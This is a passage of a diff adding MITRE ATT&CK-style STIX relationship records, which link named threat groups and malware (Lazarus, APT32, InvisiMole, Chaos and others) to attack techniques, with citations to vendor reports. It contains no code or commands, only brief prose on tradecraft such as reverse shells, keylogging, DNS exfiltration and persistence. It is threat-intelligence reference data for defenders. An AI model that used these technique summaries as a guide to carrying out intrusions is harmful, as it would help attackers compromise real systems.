"modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.", + "source_name": "Symantec Trojan.Hydraq Jan 2010", + "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident" + }, + { + "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.", + "source_name": "Symantec Hydraq Jan 2010", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) has used spearphishing with an attachment to deliver files with exploits to initial victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--5b63f8fd-efc7-454f-b466-d5e0a525f64f", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "modified": "2019-07-11T13:53:05.911Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.", + "source_name": "Cymmetria Patchwork", + "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf" + }, + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, July 8). The Dropping Elephant \u2013 aggressive cyber-espionage in the Asian region. Retrieved August 3, 2016.", + "source_name": "Securelist Dropping Elephant", + "url": "https://securelist.com/the-dropping-elephant-actor/75328/" + }, + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + }, + { + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "source_name": "Volexity Patchwork June 2018", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "description": "Before being appended to image files, [HAMMERTOSS](https://attack.mitre.org/software/S0037) commands are encrypted with a key composed of both a hard-coded value and a string contained on that day's tweet. To decrypt the commands, an investigator would need access to the intended malware sample, the day's tweet, and the image file containing the command.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--3ebc8829-f260-4d75-817a-cd23a4ebb194", + "source_ref": "malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4", + "modified": "2019-10-11T19:07:42.404Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.", + "source_name": "FireEye APT29", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) actors use nbtscan to discover vulnerable systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--69682171-e717-4af7-a24a-06a39f381641", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.179Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[Pteranodon](https://attack.mitre.org/software/S0147) can delete files that may interfere with it executing. It also can delete temporary files and itself after the initial script executes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--c8bceb4a-0cf2-43c9-9729-20ed706c4c72", + "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "source_name": "Palo Alto Gamaredon Feb 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware IndiaIndia obtains and sends to its C2 server the title of the window for each running process. The KilaAlfa keylogger also reports the title of the window in the foreground.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.067Z", + "id": "relationship--170e2f76-5b6a-4eee-8ea4-d1171368b4a9", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.225Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Loaders", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Tools", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Tools Report. Retrieved March 10, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Tools-Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "description": "[Mis-Type](https://attack.mitre.org/software/S0084) network traffic can communicate over a raw socket.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--cef7d272-ee0c-4379-9d7b-63adf1f40252", + "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has used a keylogger.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.047Z", + "id": "relationship--37c94531-1e56-4640-93fd-e9fd65da4f80", + "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "modified": "2019-01-31T18:48:52.055Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Darkhotel", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November). The Darkhotel APT A Story of Unusual Hospitality. Retrieved November 12, 2014.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070903/darkhotel_kl_07.11.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) communicates with its C2 servers through a TCP socket.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--acd19f55-0911-4cab-a27d-a962f63d2a66", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "source_name": "ESET InvisiMole June 2018", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can lists information about files in a directory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--aef68e46-d1e1-49b9-aade-6c1bf226e053", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "source_name": "ESET InvisiMole June 2018", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) used batch scripts to enumerate network information, including information about trusts, zones, and the domain.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--319189e0-9db0-46f8-9386-0d909db94a46", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.562Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--3240cbe4-c550-443b-aa76-cc2a7058b870", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--15aa00d1-11c0-4be1-a900-ede5e1376110", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.895Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Chaos](https://attack.mitre.org/software/S0220) provides a reverse shell connection on 8338/TCP, encrypted via AES.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--4847b10f-f9da-4a35-8df8-e235c6244ba2", + "source_ref": "malware--5bcd5511-6756-4824-a692-e8bb109364af", + "modified": "2019-05-10T18:57:53.144Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sebastian Feldmann. (2018, February 14). Chaos: a Stolen Backdoor Rising Again. Retrieved March 5, 2018.", + "source_name": "Chaos Stolen Backdoor", + "url": "http://gosecure.net/2018/02/14/chaos-stolen-backdoor-rising/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Felismus](https://attack.mitre.org/software/S0171) collects the victim LAN IP address and sends it to the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--c74cbdc5-e454-4b22-957e-926854dd37f1", + "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.", + "source_name": "Forcepoint Felismus Mar 2017", + "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) installs a registry Run key to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--8c359d18-06fc-4db1-9b58-6e85fa563066", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "source_name": "Forcepoint Monsoon", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[APT29](https://attack.mitre.org/groups/G0016) used [SDelete](https://attack.mitre.org/software/S0195) to remove artifacts from victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.048Z", + "id": "relationship--5bda4ebe-cd21-469e-9495-952df7254f17", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "modified": "2019-07-25T14:25:53.243Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", + "source_name": "Mandiant No Easy Breach", + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c", + "description": "[H1N1](https://attack.mitre.org/software/S0132) has functionality to copy itself to network shares.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--1539eaf6-e4ea-4e9d-af2b-2594d1ca5b38", + "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd", + "modified": "2019-04-29T18:23:15.997Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities \u2013 part 2. Retrieved September 26, 2016.", + "source_name": "Cisco H1N1 Part 2", + "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[InnaputRAT](https://attack.mitre.org/software/S0259) has a command to delete files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--553e41ba-f8e6-408c-bdbd-f46246124df6", + "source_ref": "malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.", + "source_name": "ASERT InnaputRAT April 2018", + "url": "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392", + "description": "[Proxysvc](https://attack.mitre.org/software/S0238) registers itself as a service on the victim\u2019s machine to run as a standalone process.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--5d6984fc-52cb-429b-9e68-64e656d9ad30", + "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84", + "modified": "2019-04-22T22:40:41.233Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) uses the Microsoft [Tasklist](https://attack.mitre.org/software/S0057) utility to list processes running on systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.043Z", + "id": "relationship--1fbf92c8-747b-4c0f-ab33-ce63cbff8197", + "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", + "modified": "2019-03-22T20:09:34.753Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Alperovitch 2014", + "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.", + "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has used JavaScript that communicates over HTTP or HTTPS to attacker controlled domains to download additional frameworks. The group has also used email for C2 via an Office macro. The group's backdoor can also exfiltrate data by encoding it in the subdomain field of DNS packets.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--79057890-3cd0-4124-8b35-b86db6b4f9d7", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.187Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Volexity OceanLotus Nov 2017", + "description": "Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.", + "url": "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/" + }, + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + }, + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--93642a19-cc8f-4298-9398-8d5d029fe53d", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "modified": "2019-06-28T15:30:59.088Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.", + "source_name": "Unit 42 MuddyWater Nov 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) saves one of its files as mpr.dll in the Windows folder, masquerading as a legitimate library file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--fabd053f-487c-404f-b1b0-b090e442ff83", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "source_name": "ESET InvisiMole June 2018", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.018Z", + "id": "relationship--b003a96b-81f7-436c-99a6-a25323f759ac", + "source_ref": "course-of-action--0640214c-95af-4c04-a574-2a1ba6dda00b", + "modified": "2019-08-12T19:53:51.860Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[HTTPBrowser](https://attack.mitre.org/software/S0070)'s code may be obfuscated through structured exception handling and return-oriented programming.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--291b7fbf-5b5f-460a-8009-cadb383b3262", + "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "description": "[httpclient](https://attack.mitre.org/software/S0068) encrypts C2 content with XOR using a single byte, 0x12.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5b3d2b2f-73f4-4fef-9cb9-b11db3eb4c4f", + "source_ref": "malware--e8268361-a599-4e45-bd3f-71c8c7e700c0", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "source_name": "CrowdStrike Putter Panda", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "description": "If [NETEAGLE](https://attack.mitre.org/software/S0034) does not detect a proxy configured on the infected machine, it will send beacons via UDP/6000. Also, after retrieving a C2 IP address and Port Number, [NETEAGLE](https://attack.mitre.org/software/S0034) will initiate a TCP connection to this socket. The ensuing connection is a plaintext C2 channel in which commands are specified by DWORDs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--b41abaa3-a21f-4d2c-9c60-c90c4f360b00", + "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", + "description": "After copying itself to a DLL file, a variant of [Elise](https://attack.mitre.org/software/S0081) calls the DLL file using rundll32.exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--37ab6b56-033c-4cb6-8d1b-e7ff5dcf668d", + "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", + "modified": "2019-04-17T22:12:24.831Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Lotus Blossom Jun 2015", + "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.", + "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[NETWIRE](https://attack.mitre.org/software/S0198) can perform keylogging.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--c1ed0848-df59-4cd1-8e39-a0d87002c652", + "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "McAfee. (2015, March 2). Netwire RAT Behind Recent Targeted Attacks. Retrieved February 15, 2018.", + "source_name": "McAfee Netwire Mar 2015", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/netwire-rat-behind-recent-targeted-attacks/" + }, 